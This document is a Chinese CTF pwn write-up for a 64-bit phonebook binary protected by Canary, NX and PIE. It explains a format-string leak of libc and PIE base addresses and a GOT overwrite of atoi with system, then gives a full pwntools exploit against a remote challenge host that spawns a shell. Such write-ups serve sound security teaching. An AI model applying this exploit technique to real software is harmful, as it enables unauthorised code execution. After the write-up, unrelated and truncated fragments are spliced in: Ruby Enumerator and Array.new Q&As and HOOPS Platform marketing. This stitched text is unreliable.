查看程序基本情况,如图,该程序是64位程序,开启了Canary、NX、PIE保护。

使用ida64打开分析程序,该程序是个电话录之类的,可以添加、删除、查看、修改通讯录。在查看函数这里发现存在字符串格式化漏洞,如图红框中标注所示。

其中图中地址unk_2020E0 + 32*v1为用户输入的电话号码内容,如图(添加功能程序)标注出来的部分。其中下图中的dword_2020BC与上图中的v1都是索引(0,1,2,3),只是后者为用户输入选择的索引,前者为程序记录的电话录计数器。unk_2020E0为通讯记录存储基址,phone信息存储在对应记录起始地址处,大小为11;name信息存储在对应记录起始地址偏移11处;每个记录大小为32。

特别的,在添加通讯录时,描述信息des字符串地址存储在索引为0的记录中的name属性后,如图,qword_2020F8地址为上图unk_2020E0 + 11(name字段)偏移13处。

在进行通讯录修改操作时,会将用户输入内容写入qword_2020F8[4*v1]所指向的地址处。通过前面的分析,我们知道qword_2020F8[4*0]地址位于索引为0的用户通讯录记录name字段后紧邻位置,并且name字段输入无大小限制,所以我们可以通过设计索引为0的name的输入,控制qword_2020F8[0]所指向的地址值,进而向该地址输入数据,即可以向任意地址写入数据。这是解这道题时比较巧妙的地方。

这道题的主要思路是通过调试分析和格式化字符串漏洞将栈上有关数据溢出,进而计算出程序加载基址和动态链接库中函数地址,进一步算出动态链接库加载基址,然后可以获得system地址和函数atoi@got地址,通过修改函数got表地址为system地址,使程序在调用该函数时调用system("/bin/sh")进而获得系统shell。
给程序设断点,运行到存在字符串格式化漏洞的printf函数处。分析栈数据如图,此处进入了printf函数内部,所以顶部为返回地址。在64位程序,函数传参先传给6个寄存器,然后存到栈上,那么从+0x0008位置开始为相对于格式化字符串参数的第6、7、8...个参数。在其中存在__libc_start_main函数偏移240的地址(第13个参数),此外通过分析还可以发现第9个参数地址为程序偏移0x1274处地址,由此可以计算出__libc_start_main函数地址和程序加载基址。

即通过格式化字符串漏洞泄露(%13$p%9$p)出第13个参数和第9个参数的值,前者减240为__libc_start_main函数地址,后者减0x1274(或&0xfffffffffff00000)为程序加载基址。
Add('%13$p%9$p','aaaaaaaa','15','12345678')
Show('0')
sh.recvuntil('0x')
libc_start_main = int(sh.recv(12),16) - 240
sh.recvuntil('0x')
elf_base = int(sh.recv(12),16) - 0x1274
通过ELF加载程序和提供的链接库得到链接库基址,进一步得到system函数地址和atoi@got地址。
elf = ELF('./hello')
libc = ELF('libc-2.23.so')
libc_start_main_base = libc_start_main - libc.symbols['__libc_start_main']
system_addr = libc_start_main_base + libc.symbols['system']
atoi_got = elf_base + elf.got['atoi']
最后基于前面分析的漏洞,通过修改通讯录函数,覆写atoi@got地址为system,当再次选择功能时,输入/bin/sh就会调用system("/bin/sh")得到shell。
Edit('0','c'*11,b'd'*13+p64(atoi_got),p64(system_addr))
sh.sendlineafter('>>','/bin/sh')
sh.interactive()
完整代码如下
from pwn import *
elf = ELF('./hello')
libc = ELF('libc-2.23.so')
sh = remote('61.147.171.105',54903)
def Add(phone,name,size,info):
sh.sendlineafter('choice>>','1')
sh.sendlineafter('number:',phone)
sh.sendlineafter('name:',name)
sh.sendlineafter('size:',size)
sh.sendlineafter('info:',info)
def Edit(index,phone,name,info):
sh.sendlineafter('choice>>','4')
sh.sendlineafter('index:',index)
sh.sendlineafter('number:',phone)
sh.sendlineafter('name:',name)
sh.sendlineafter('info:',info)
def Show(index):
sh.sendlineafter('choice>>','3')
sh.sendlineafter('index:',index)
# 泄露相关栈地址
Add('%13$p%9$p','aaaaaaaa','15','12345678')
Show('0')
sh.recvuntil('0x')
libc_start_main = int(sh.recv(12),16) - 240
sh.recvuntil('0x')
# 计算基址及所需函数地址
elf_base = int(sh.recv(12),16) - 0x1274
libc_start_main_base = libc_start_main - libc.symbols['__libc_start_main']
system_addr = libc_start_main_base + libc.symbols['system']
atoi_got = elf_base + elf.got['atoi']
# 修改atoi@got为system地址
Edit('0','c'*11,b'd'*13+p64(atoi_got),p64(system_addr))
sh.sendlineafter('>>','/bin/sh')
sh.interactive()
print(sh.recv())
运行结果如图所示

在调试分析程序时,不同的动态链接库会影响程序分析的结果。
起初我使用自己电脑上的动态链接库分析时,栈上__libc_start_main相关地址偏移为205而非240,所以一直无法利用成功。后来clone了https://github.com/matrix1001/glibc-all-in-one.git项目,下载了与题目类似的链接库,利用patchelf使程序加载该库,才获得了正确的结果。
patchelf --replace-needed libc.so.6 ./libc-2.23.so hello
patchelf --set-interpreter ./ld-2.23.so hello
我在理解Enumerator.new方法的工作原理时遇到了一些困难。假设文档中的示例:fib=Enumerator.newdo|y|a=b=1loopdoy[1,1,2,3,5,8,13,21,34,55]循环中断条件在哪里,它如何知道循环应该迭代多少次(因为它没有任何明确的中断条件并且看起来像无限循环)? 最佳答案 Enumerator使用Fibers在内部。您的示例等效于:require'fiber'fiber=Fiber.newdoa=b=1loopdoFiber.yieldaa,b=b,a+bendend10.times.m
无论您是想搭建桌面端、WEB端或者移动端APP应用,HOOPSPlatform组件都可以为您提供弹性的3D集成架构,同时,由工业领域3D技术专家组成的HOOPS技术团队也能为您提供技术支持服务。如果您的客户期望有一种在多个平台(桌面/WEB/APP,而且某些客户端是“瘦”客户端)快速、方便地将数据接入到3D应用系统的解决方案,并且当访问数据时,在各个平台上的性能和用户体验保持一致,HOOPSPlatform将帮助您完成。利用HOOPSPlatform,您可以开发在任何环境下的3D基础应用架构。HOOPSPlatform可以帮您打造3D创新型产品,HOOPSSDK包含的技术有:快速且准确的CAD
如thisanswer中所述,Array.new(size,object)创建一个数组,其中size引用相同的object。hash=Hash.newa=Array.new(2,hash)a[0]['cat']='feline'a#=>[{"cat"=>"feline"},{"cat"=>"feline"}]a[1]['cat']='Felix'a#=>[{"cat"=>"Felix"},{"cat"=>"Felix"}]为什么Ruby会这样做,而不是对object进行dup或clone? 最佳答案 因为那是thedocumenta
一边学习thisRailscast我从Rack中看到了以下源代码:defself.middleware@middleware||=beginm=Hash.new{|h,k|h[k]=[]}m["deployment"].concat[[Rack::ContentLength],[Rack::Chunked],logging_middleware]m["development"].concatm["deployment"]+[[Rack::ShowExceptions],[Rack::Lint]]mendend我的问题是关于第三行。什么是传递block{|h,k|h[k]=[]}到Has
是否有可能以某种方式访问Class.new范围内的a?a=5Class.new{defb;aend}.new.b#NameError:undefinedlocalvariableormethod`a'for#:0x007fa8b15e9af0>#:in`b' 最佳答案 即使@MarekLipka的回答是正确的——改变变量范围总是有风险的。这是可行的,因为每个block都带有创建它的上下文,因此您的局部变量a突然变得不那么局部了——它变成了一个“隐藏的”全局变量:a=5object=Class.new{define_method(
在Ruby(或Rails)中,我们可以做到new_params=params.merge({:order=>'asc'})现在new_params是一个带有添加键:order的散列。但是是否有一行可以返回带有已删除key的散列?线路new_params=params.delete(:order)不会工作,因为delete方法返回值,仅此而已。我们必须分3步完成吗?tmp_params=paramstmp_params.delete(:order)returntmp_params有没有更好的方法?因为我想做一个new_params=(params[:order].blank?||para
我在关注RyanbatesRailsCast的devise和omniauth(第235集-devise-and-omniauth-revised)。当我尝试使用Twitter登录时,标题中不断出现错误。defself.new_with_session(params,session)ifsession["devise.user_attributes"]new(session["devise.user_attributes"],without_protection:true)do|user|user.attributes=paramsuser.valid?end完整跟踪:C:/Ruby20
我在事件管理员编辑页面中有嵌套资源,但我只想允许管理员编辑现有资源的内容,而不是添加新的嵌套资源。我的代码看起来像这样:formdo|f|f.inputsdof.input:authorf.input:contentf.has_many:commentsdo|comment_form|comment_form.input:contentcomment_form.input:_destroy,as::boolean,required:false,label:'Remove'endendf.actionsend但它在输入下添加了“添加新评论”按钮。我怎样才能禁用它,并只为主窗体保留f.ac
我不明白下面这段代码中的Sheep=Class.new部分。moduleFenceSheep=Class.newdodefspeak"Bah."endendenddefcall_sheepFence::Sheep.new.speakend它到底在做什么? 最佳答案 根据文档,Class.newCreatesanewanonymous(unnamed)classwiththegivensuperclass(orObjectifnoparameterisgiven).此外,Youcangiveaclassanamebyassigning
我有一个这样的数组[1,1,2,3,3,3,4,5,5]我想计算每个数字出现的次数,我正在尝试这样做[1,1,2,3,3,3,4,5,5].reduce(Hash.new(0)){|hash,number|hash[number]+=1}问题是当我尝试运行它时出现以下错误NoMethodError:undefinedmethod`[]='for1:Fixnumfrom(irb):6:in`blockinirb_binding'from(irb):6:in`each'from(irb):6:in`reduce'from(irb):6我能像这样设置初始值吗,还是我弄错了?